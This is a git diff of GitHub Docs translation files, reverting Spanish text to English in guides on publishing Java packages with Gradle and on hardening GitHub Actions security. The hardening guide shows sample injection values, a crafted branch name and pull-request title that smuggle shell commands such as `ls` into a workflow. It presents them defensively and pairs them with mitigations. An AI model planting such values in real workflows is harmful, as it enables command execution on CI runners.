data variables.product.prodname_container_registry %}{% else %}Docker registry{% endif %}. +The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` twice to log in to both registries and generates tags and labels with the `metadata-action` action. +Then the `build-push-action` action builds and pushes the Docker image to Docker Hub and the {% ifversion fpt or ghec %}{% data variables.product.prodname_container_registry %}{% else %}Docker registry{% endif %}. diff --git a/translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-gradle.md b/translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-gradle.md index 4d1769fb9c..be28e9521a 100644 --- a/translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-gradle.md +++ b/translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-gradle.md @@ -1,6 +1,6 @@ --- -title: Publicar paquetes Java con Gradle -intro: Puedes usar Gradle para publicar paquetes Java en un registro como parte de tu flujo de trabajo de integración continua (CI). +title: Publishing Java packages with Gradle +intro: You can use Gradle to publish Java packages to a registry as part of your continuous integration (CI) workflow. redirect_from: - /actions/language-and-framework-guides/publishing-java-packages-with-gradle - /actions/guides/publishing-java-packages-with-gradle @@ -15,41 +15,41 @@ topics: - Publishing - Java - Gradle -shortTitle: Paquetes de Java con Gradle +shortTitle: Java packages with Gradle --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Introducción +## Introduction {% data reusables.github-actions.publishing-java-packages-intro %} -## Prerrequisitos +## Prerequisites -Te recomendamos que tengas una comprensión básica de los archivos de flujo de trabajo y las opciones de configuración. Para obtener más información, consulta la sección "[Aprende sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)". +We recommend that you have a basic understanding of workflow files and configuration options. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -Para obtener más información acerca de la creación de un flujo de trabajo de CI para tu proyecto Java con Gradle, consulta "[Construir y probar Java con Gradle](/actions/language-and-framework-guides/building-and-testing-java-with-gradle)". +For more information about creating a CI workflow for your Java project with Gradle, see "[Building and testing Java with Gradle](/actions/language-and-framework-guides/building-and-testing-java-with-gradle)." -También puede ser útil tener un entendimiento básico de lo siguiente: +You may also find it helpful to have a basic understanding of the following: -- "[Trabajar con el registro de npm](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)" -- "[Variables de ambiente](/actions/reference/environment-variables)" -- "[Secretos cifrados](/actions/reference/encrypted-secrets)" -- "[Autenticación en un flujo de trabajo](/actions/reference/authentication-in-a-workflow)" +- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)" +- "[Environment variables](/actions/reference/environment-variables)" +- "[Encrypted secrets](/actions/reference/encrypted-secrets)" +- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)" -## Acerca de la configuración del paquete +## About package configuration -Los campos `groupId` y `artifactId` en la sección `MavenPublication` del archivo _build.gradle_ crean un identificador único para tu paquete que los registros usan para vincular tu paquete a un registro. Esto es similar a los campos `groupId` y `artifactId` del archivo _pom.xml_ de Maven. Para obtener más información, consulta "[Maven Publish Plugin](https://docs.gradle.org/current/userguide/publishing_maven.html)" en la documentación de Gradle. +The `groupId` and `artifactId` fields in the `MavenPublication` section of the _build.gradle_ file create a unique identifier for your package that registries use to link your package to a registry. This is similar to the `groupId` and `artifactId` fields of the Maven _pom.xml_ file. For more information, see the "[Maven Publish Plugin](https://docs.gradle.org/current/userguide/publishing_maven.html)" in the Gradle documentation. -El archivo _build.gradle_ también contiene la configuración de los repositorios de administración de distribución en los que Gradle publicará los paquetes. Cada repositorio debe tener un nombre, una URL de implementación y credenciales para la autenticación. +The _build.gradle_ file also contains configuration for the distribution management repositories that Gradle will publish packages to. Each repository must have a name, a deployment URL, and credentials for authentication. -## Publicar paquetes en el repositorio central de Maven +## Publishing packages to the Maven Central Repository -Cada vez que creas un lanzamiento nuevo, puedes desencadenar un flujo de trabajo para publicar tu paquete. El flujo de trabajo en el ejemplo a continuación se ejecuta cuando el evento `lanzamiento` desencadena con tipo `creado`. El flujo de trabajo publica el paquete en el repositorio central de Maven si se pasan las pruebas de CI. Para obtener más información acerca del evento `release`, consulta "[Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows#release)". +Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the Maven Central Repository if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)." -Puedes definir un nuevo repositorio de Maven en el bloque de publicación de tu archivo _build.gradle_ que apunta al repositorio de tu paquete. Por ejemplo, si estás desplegando en el repositorio central de Maven a través del proyecto de alojamiento OSSRH, tu _build.gradle_ podría especificar un repositorio con el nombre `"OSSRH"`. +You can define a new Maven repository in the publishing block of your _build.gradle_ file that points to your package repository. For example, if you were deploying to the Maven Central Repository through the OSSRH hosting project, your _build.gradle_ could specify a repository with the name `"OSSRH"`. {% raw %} ```groovy{:copy} @@ -75,7 +75,7 @@ publishing { ``` {% endraw %} -Con esta configuración, puedes crear un flujo de trabajo que publique tu paquete en el repositorio central de Maven al ejecutar el comando `gradle publish`. En el paso de implementación, necesitarás establecer variables de entorno para el nombre de usuario y la contraseña o token que usas para autenticar en el repositorio de Maven. Para obtener más información, consulta "[Crear y usar secretos cifrados](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." +With this configuration, you can create a workflow that publishes your package to the Maven Central Repository by running the `gradle publish` command. In the deploy step, you’ll need to set environment variables for the username and password or token that you use to authenticate to the Maven repository. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -104,19 +104,19 @@ jobs: ``` {% data reusables.github-actions.gradle-workflow-steps %} -1. Ejecuta el comando `gradle publish` para publicar en el repositorio Maven `OSSRH`. La variable de entorno `MAVEN_USERNAME` se establecerá con los contenidos de tu `OSSRH_USERNAME` secreto, y la variable de entorno `MAVEN_PASSWORD` se establecerá con los contenidos de tu `OSSRH_TOKEN` secreto. +1. Runs the `gradle publish` command to publish to the `OSSRH` Maven repository. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret. - Para obtener más información acerca del uso de secretos en tu flujo de trabajo, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)". + For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." -## Sube paquetes al {% data variables.product.prodname_registry %} +## Publishing packages to {% data variables.product.prodname_registry %} -Cada vez que creas un lanzamiento nuevo, puedes desencadenar un flujo de trabajo para publicar tu paquete. El flujo de trabajo en el ejemplo a continuación se ejecuta cuando el evento `lanzamiento` desencadena con tipo `creado`. El flujo de trabajo publica el paquete en el {% data variables.product.prodname_registry %} si se superan las pruebas de CI. Para obtener más información acerca del evento `release`, consulta "[Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows#release)". +Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)." -Puedes definir un nuevo repositorio de Maven en el bloque de publicación de tu _build.gradle_ que apunte a {% data variables.product.prodname_registry %}. En esa configuración de repositorio, también puedes aprovechar las variables de entorno establecidas en tu ejecución de flujo de trabajo de CI. Puedes usar la variable de entorno `GITHUB_ACTOR` como nombre de usuario y puedes establecer la variable de entorno `GITHUB_TOKEN` con tu `GITHUB_TOKEN` secreto. +You can define a new Maven repository in the publishing block of your _build.gradle_ that points to {% data variables.product.prodname_registry %}. In that repository configuration, you can also take advantage of environment variables set in your CI workflow run. You can use the `GITHUB_ACTOR` environment variable as a username, and you can set the `GITHUB_TOKEN` environment variable with your `GITHUB_TOKEN` secret. {% data reusables.github-actions.github-token-permissions %} -Por ejemplo, si tu organización se llama "octocat" y tu repositorio se llama "hello-world", entonces la configuración {% data variables.product.prodname_registry %} en _build.gradle_ tendría un aspecto similar al ejemplo a continuación. +For example, if your organization is named "octocat" and your repository is named "hello-world", then the {% data variables.product.prodname_registry %} configuration in _build.gradle_ would look similar to the below example. {% raw %} ```groovy{:copy} @@ -142,7 +142,7 @@ publishing { ``` {% endraw %} -Con esta configuración, puedes crear un flujo de trabajo que publique tu paquete en el {% data variables.product.prodname_registry %} ejecutando el comando `gradle publish`. +With this configuration, you can create a workflow that publishes your package to {% data variables.product.prodname_registry %} by running the `gradle publish` command. ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -172,19 +172,19 @@ jobs: ``` {% data reusables.github-actions.gradle-workflow-steps %} -1. Ejecuta el comando `gradle publish` comando para publicar en {% data variables.product.prodname_registry %}. La variable de entorno `GITHUB_TOKEN` se establecerá con el contenido del `GITHUB_TOKEN` secreto. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %} +1. Runs the `gradle publish` command to publish to {% data variables.product.prodname_registry %}. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %} - Para obtener más información acerca del uso de secretos en tu flujo de trabajo, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)". + For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." -## Publicar paquetes en el repositorio central de Maven y {% data variables.product.prodname_registry %} +## Publishing packages to the Maven Central Repository and {% data variables.product.prodname_registry %} -Puedes publicar tus paquetes en el repositorio central de Maven y {% data variables.product.prodname_registry %} al configurar cada uno de ellos en tu archivo _build.gradle_. +You can publish your packages to both the Maven Central Repository and {% data variables.product.prodname_registry %} by configuring each in your _build.gradle_ file. -Asegúrate de que tu archivo _build.gradle_ incluya un repositorio para tu repositorio {% data variables.product.prodname_dotcom %} y para tu proveedor de repositorios centrales de Maven. +Ensure your _build.gradle_ file includes a repository for both your {% data variables.product.prodname_dotcom %} repository and your Maven Central Repository provider. -Por ejemplo, si implementas el repositorio central a través del proyecto de alojamiento OSSRH, es posible que desees especificarlo en un repositorio de administración de distribución con el `name` establecido en `OSSRH`. Si implementas para {% data variables.product.prodname_registry %}, es posible que desees especificarlo en un repositorio de administración de distribución con el `name` establecido en `GitHubPackages`. +For example, if you deploy to the Central Repository through the OSSRH hosting project, you might want to specify it in a distribution management repository with the `name` set to `OSSRH`. If you deploy to {% data variables.product.prodname_registry %}, you might want to specify it in a distribution management repository with the `name` set to `GitHubPackages`. -Si tu organización se nombra como "octocat" y tu repositorio como "hello-world", entonces la configuración en _build.gradle_ se vería similar al siguiente ejmplo. +If your organization is named "octocat" and your repository is named "hello-world", then the configuration in _build.gradle_ would look similar to the below example. {% raw %} ```groovy{:copy} @@ -218,7 +218,7 @@ publishing { ``` {% endraw %} -Con esta configuración, puedes crear un flujo de trabajo que publique tu paquete en el repositorio central de Maven y {% data variables.product.prodname_registry %} al ejecutar el comando `gradle publish`. +With this configuration, you can create a workflow that publishes your package to both the Maven Central Repository and {% data variables.product.prodname_registry %} by running the `gradle publish` command. ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -251,6 +251,6 @@ jobs: ``` {% data reusables.github-actions.gradle-workflow-steps %} -1. Ejecuta el comando `gradle publish` para publicar en el repositorio Maven `OSSRH` y {% data variables.product.prodname_registry %}. La variable de entorno `MAVEN_USERNAME` se establecerá con los contenidos de tu `OSSRH_USERNAME` secreto, y la variable de entorno `MAVEN_PASSWORD` se establecerá con los contenidos de tu `OSSRH_TOKEN` secreto. La variable de entorno `GITHUB_TOKEN` se establecerá con el contenido del `GITHUB_TOKEN` secreto. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %} +1. Runs the `gradle publish` command to publish to the `OSSRH` Maven repository and {% data variables.product.prodname_registry %}. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %} - Para obtener más información acerca del uso de secretos en tu flujo de trabajo, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)". + For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." diff --git a/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md b/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md index 27088a641c..60771903fb 100644 --- a/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md +++ b/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md @@ -1,7 +1,7 @@ --- -title: Fortalecimiento de seguridad para GitHub Actions -shortTitle: Fortalecimiento de seguridad -intro: 'Buenas prácticas de seguridad para utilizar las características de las {% data variables.product.prodname_actions %}.' +title: Security hardening for GitHub Actions +shortTitle: Security hardening +intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.' redirect_from: - /actions/getting-started-with-github-actions/security-hardening-for-github-actions - /actions/learn-github-actions/security-hardening-for-github-actions @@ -20,58 +20,58 @@ miniTocMaxHeadingLevel: 3 {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Resumen +## Overview -Esta guía explica cómo configurar el fortalecimiento de seguridad para ciertas características de las {% data variables.product.prodname_actions %}. Si no estás familiarizado con los conceptos de las {% data variables.product.prodname_actions %}, consulta la sección "[Conceptos principales para GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)". +This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see "[Core concepts for GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)." -## Utilizar secretos +## Using secrets -Los valores sensibles jamás deben almacenarse como texto simple e archivos de flujo de trabajo, sino más bien como secretos. Los [Secretos](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) pueden configurarse a nivel de la organización{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repositorio o ambiente{% else %} o repositorio{% endif %}, y permitirte almacenar información sensible en {% data variables.product.product_name %}. +Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) can be configured at the organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repository, or environment{% else %} or repository{% endif %} level, and allow you to store sensitive information in {% data variables.product.product_name %}. -Los secretos utilizan [Cajas selladas de libsodium](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) de manera que se cifran antes de llegar a {% data variables.product.product_name %}. Esto ocurre cuando el secreto se emite [utilizando la IU](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) o a través de la [API de REST](/rest/reference/actions#secrets). Este cifrado del lado del cliente ayuda a minimizar los riesgos relacionados con el registro accidental (por ejemplo, bitácoras de excepción y de solicitud, entre otras) dentro de la infraestructura de {% data variables.product.product_name %}. Una vez que se carga el secreto, {% data variables.product.product_name %} puede entonces descifrarlo para que se pueda inyectar en el tiempo de ejecución del flujo de trabajo. +Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.product_name %}. This occurs when the secret is submitted [using the UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) or through the [REST API](/rest/reference/actions#secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.product_name %}'s infrastructure. Once the secret is uploaded, {% data variables.product.product_name %} is then able to decrypt it so that it can be injected into the workflow runtime. -Para ayudar a prevenir la divulgación accidental, {% data variables.product.product_name %} utiliza un mecanismo que intenta redactar cualquier secreto que aparezca en las bitácoras de ejecución. La redacción busca coincidencias exactas de cualquier secreto configurado, así como los cifrados comunes de los valores, tales como Base64. Sin embargo, ya que hay varias formas en las que se puede transformar el valor de un secreto, esta redacción no está garantizada. Como resultado, hay ciertos pasos proactivos y buenas prácticas que debes seguir para ayudarte a garantizar que se redacten los secretos, y para limitar otros riesgos asociados con ellos: +To help prevent accidental disclosure, {% data variables.product.product_name %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets: -- **Nunca uses datos estructurados como un secreto** - - Los datos estructurados pueden causar que la redacción de secretos dentro de las bitácoras falle, ya que la redacción depende ampliamente de encontrar una coincidencia exacta para el valor específico del secreto. Por ejemplo, no utilices un blob de JSON, XML, o YAML (o similares) para encapsular el valor de un secreto, ya que esto reduce significativamente la probablidad de que los secretos se redacten adecuadamente. En vez de esto, crea secretos individuales para cada valor sensible. -- **Registra todos los secretos que se utilizan dentro de los flujos de trabajo** - - Si los secretos se utilizan para generar otro valor sensible dentro de un flujo de trabajo, este valor generado debe [registrarse como un secreto](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) formalmente para que se pueda redactar si llega a aparecer en las bitácoras. Por ejemplo, si utilizas una llave privada para generar un JWT firmado para acceder a una API web, asegúrate registrar este JWT como un secreto, de lo contrario, este no se redactará si es que llega a ingresar en la salida de la bitácora. - - El registrar secretos aplica también a cualquier tipo de transformación/cifrado. Si tu secreto se transforma de alguna manera (como en el cifrado URL o de Base64), asegúrate de registrar el valor nuevo como un secreto también. -- **Audita cómo se manejan los secretos** - - Audita cómo se utilizan los secretos para ayudarte a garantizar que se manejan como lo esperas. Puedes hacer esto si revisas el código fuente del rpositorio que ejecuta el flujo de trabajo y verificas cualquier acción que se utilice en dicho flujo de trabajo. Por ejemplo, verifica que no se estén enviando a hosts no deseados, o que no se estén imprimiendo explícitamente en la salida de una bitácora. - - Visualiza las bitácoras de ejecución de tu flujo de trabajo después de probar las entradas válidas/no válidas y verifica que los secretos se redacten adecuadamente o que no se muestren. No siempre es obvio la forma en la que una herramienta o un comando que estés invocando enviará los errores a `STDOUT` o a `STDERR`, y los secretos pueden terminar siendo bitácoras de errores después. Por consiguiente, es una buena práctica el revisar manualmente las bitácoras de flujo de trabajo después de probar las entradas válidas y no válidas. -- **Utiliza credenciales que tengan alcances mínimos** - - Asegúrate de que las credenciales que estás utilizando dentro de los flujos de trabajo tengan los menores privilegios requeridos y ten en mente que cualquier usuario con acceso de escritura en tu repositorio tiene acceso de lectura para todos los secretos que has configurado en éste. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - - Las acciones pueden utilizar el `GITHUB_TOKEN` si acceden a él desde el contexto `github.token`. Para obtener más información, consulta "[Contextos](/actions/learn-github-actions/contexts#github-context)". Por lo tanto, debes asegurarte de que se otorguen los permisos mínimos requeridos al `GITHUB_TOKEN`. Configurar el permiso predeterminado el `GITHUB_TOKEN` como acceso de solo lectura para el contenido de los repositorios, es una buena práctica de seguridad. Se puede incrementar los permisos, conforme se requiera, para los jobs individuales dentro del archivo de flujo de trabajo. Para obtener más información, consulta la sección "[Autenticación en un flujo de trabajo](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)". {% endif %} -- **Audita y rota los secretos registrados** - - Revisa con frecuencia los secretos que se han registrado para confirmar que aún se requieran. Elimina aquellos que ya no se necesiten. - - Rota los secretos con frecuencia para reducir la ventana de tiempo en la que un secreto puesto en riesgo es aún válido. +- **Never use structured data as a secret** + - Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value. +- **Register all secrets used within workflows** + - If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output. + - Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too. +- **Audit how secrets are handled** + - Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output. + - View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs. +- **Use credentials that are minimally scoped** + - Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + - Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." {% endif %} +- **Audit and rotate registered secrets** + - Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed. + - Rotate secrets periodically to reduce the window of time during which a compromised secret is valid. {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -- **Considera requerir revisiones para el acceso a los secretos** - - Puedes utilizar revisiones requeridas para proteger los secretos del ambiente. Un job del flujo de trabajo no podrá acceder a los secretos del ambiente hasta que el revisor otorgue la aprobación. Para obtener más información sobre cómo almacenar los secretos en los ambientes o cómo requerir las revisiones para estos, consulta las secciones "[Secretos cifrados](/actions/reference/encrypted-secrets)" y "[Utilizar ambientes para despliegue](/actions/deployment/using-environments-for-deployment)". +- **Consider requiring review for access to secrets** + - You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %} -## Utilizar `CODEOWNERS` para monitorear cambios +## Using `CODEOWNERS` to monitor changes -Puedes utilizar la característica de `CODEOWNERS` para controlar la forma en la que se realizan los cambios en tus archivos de flujo de trabajo. Por ejemplo, si todos tus archivos de flujo de trabajo se almacenan en `.github/workflows`, puedes agregar este directorio a la lista de propietarios de código para que cualquier cambio propuesto a dichos archivos requiera primero de una aprobación del un revisor designado. +You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer. -Para obtener más información, consulta "[Acerca de los propietarios del código](/github/creating-cloning-and-archiving-repositories/about-code-owners)." +For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." -## Entender el riesgo de las inyecciones de código +## Understanding the risk of script injections -Cuando creas flujos de trabajo, [acciones personalizadas](/actions/creating-actions/about-actions) y [acciones compuestas](/actions/creating-actions/creating-a-composite-action), siempre debes considerar si tu código podría ejecutar una entrada no confiable de los atacantes. Esto puede ocurrir cuando un atacante agrega comandos y scripts malintencionados a un contexto. Cuando tu flujo de trabajo se ejecuta, estas secuencias podrían interpretarse como código que luego se ejecutará en el ejecutor. +When creating workflows, [custom actions](/actions/creating-actions/about-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action) actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner. - Los atacantes pueden agregar su propio código malintencionado al [contexto `github`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), al cual se le debe tratar como una entrada potencialmente no confiable. Estos contextos pueden terminar habitualmente con `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, y `title`. Por ejemplo: `github.event.issue.title`, o `github.event.pull_request.body`. + Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`. + + You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." - Debes asegurarte de que estos valores no fluyan directamente hacia los flujos de trabajo, acciones, llamados a las API ni a cualquier otro lugar en donde se puedan itnerpretar como còdigo ejecutable. Cuando adoptas la misma postura de programaciòn defensiva que utilizaràs para cualquier otro còdigo de aplicaciones privilegiado, puedes ayudar a que la seguridad fortalezca tu uso de las {% data variables.product.prodname_actions %}. Para obtener màs informaciòn sobre algunos de los pasos que podrìa llevar a cabo un atacante, consulta la secciòn ["Impacto potencial de un ejecutor puesto en riesgo](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)". +In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository. -Adicionalmente, hay otras fuentes menos obvias de entradas no confiables, tales como los nombres de rama y las direcciones de correo electrònico, las cuales pueden ser bastante flexibles en cuestiòn de su contenido permitido. Por ejemplo, `zzz";echo${IFS}"hello";#` podrìa ser un nombre de rama vàlido y podrìa ser un vector de ataques potenciales para un repositorio objetivo. +The following sections explain how you can help mitigate the risk of script injection. -Las siguientes secciones explican còmo puedes ayudar a mitigar el riesgo de inyecciòn de scripts. +### Example of a script injection attack -### Ejemplo de un ataque de inyecciòn de scripts - -Un ataque de inyecciòn de scripts puede ocurrir directamente dentro de un script dentro de las lìneas de un flujo de trabajo. En el siguiente ejemplo, una acciòn utiliza una expresiòn para probar la validez del tìtulo de una solicitud de cambios, pero tambièn agrega el riesgo de ocasionar una inyecciòn de scripts: +A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection: {% raw %} ``` @@ -88,23 +88,23 @@ Un ataque de inyecciòn de scripts puede ocurrir directamente dentro de un scrip ``` {% endraw %} -Este ejemplo es vulnerable a la inyecciòn de scripts ya que el comando `run` se ejecuta dentro de un script de un shell temporal en el ejecutor. Antes de que se ejecute el script, se evalùan las expresiones dentro de {% raw %}`${{ }}`{% endraw %} y luego se sustituyen con los valores resultantes, lo cual puede hacerlo vulnerable a la inyecciòn de comandos de shell. +This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. -Para inyectar comandos en este flujo de trabajo, el atacante podrìa crear una solicitud de cambios con un tìtulo de `a"; ls $GITHUB_WORKSPACE"`: +To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`: -![Ejemplo de inyecciòn de scripts en el tìtulo de una solicitud de cambios](/assets/images/help/images/example-script-injection-pr-title.png) +![Example of script injection in PR title](/assets/images/help/images/example-script-injection-pr-title.png) -En este ejemplo, el caracter `"` se utiliza para interrumpir la instrucciòn {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %}, permitiendo que se ejecute el comando `ls` en el ejecutor. Puedes ver la salida del comando `ls` en la bitàcora: +In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log: -![Resultado de ejemplo de la inyecciòn de scripts](/assets/images/help/images/example-script-injection-result.png) +![Example result of script injection](/assets/images/help/images/example-script-injection-result.png) -## Buenas pràcticas para mitigar los ataques de inyecciòn de scripts +## Good practices for mitigating script injection attacks -Hay varios acercamientos diferentes disponibles para ayudarte a mitigar el riesgo de inyecciones de scripts: +There are a number of different approaches available to help you mitigate the risk of script injection: -### Utilizar una acciòn en vez de un script dentro de las lìneas (recomendado) +### Using an action instead of an inline script (recommended) -El acercamiento recomendado es crear una acciòn que procese el valor del contexto como un argumento. Este acercamiento no es vulnerable a los ataques de inyecciòn, ya que el valor del contexto no se utiliza para genrar un script de un shell, sino que se pasa a la acciòn como un argumento en vez de eso: +The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument: {% raw %} ``` @@ -114,11 +114,11 @@ with: ``` {% endraw %} -### Utilizar una variable de ambiente intermedia 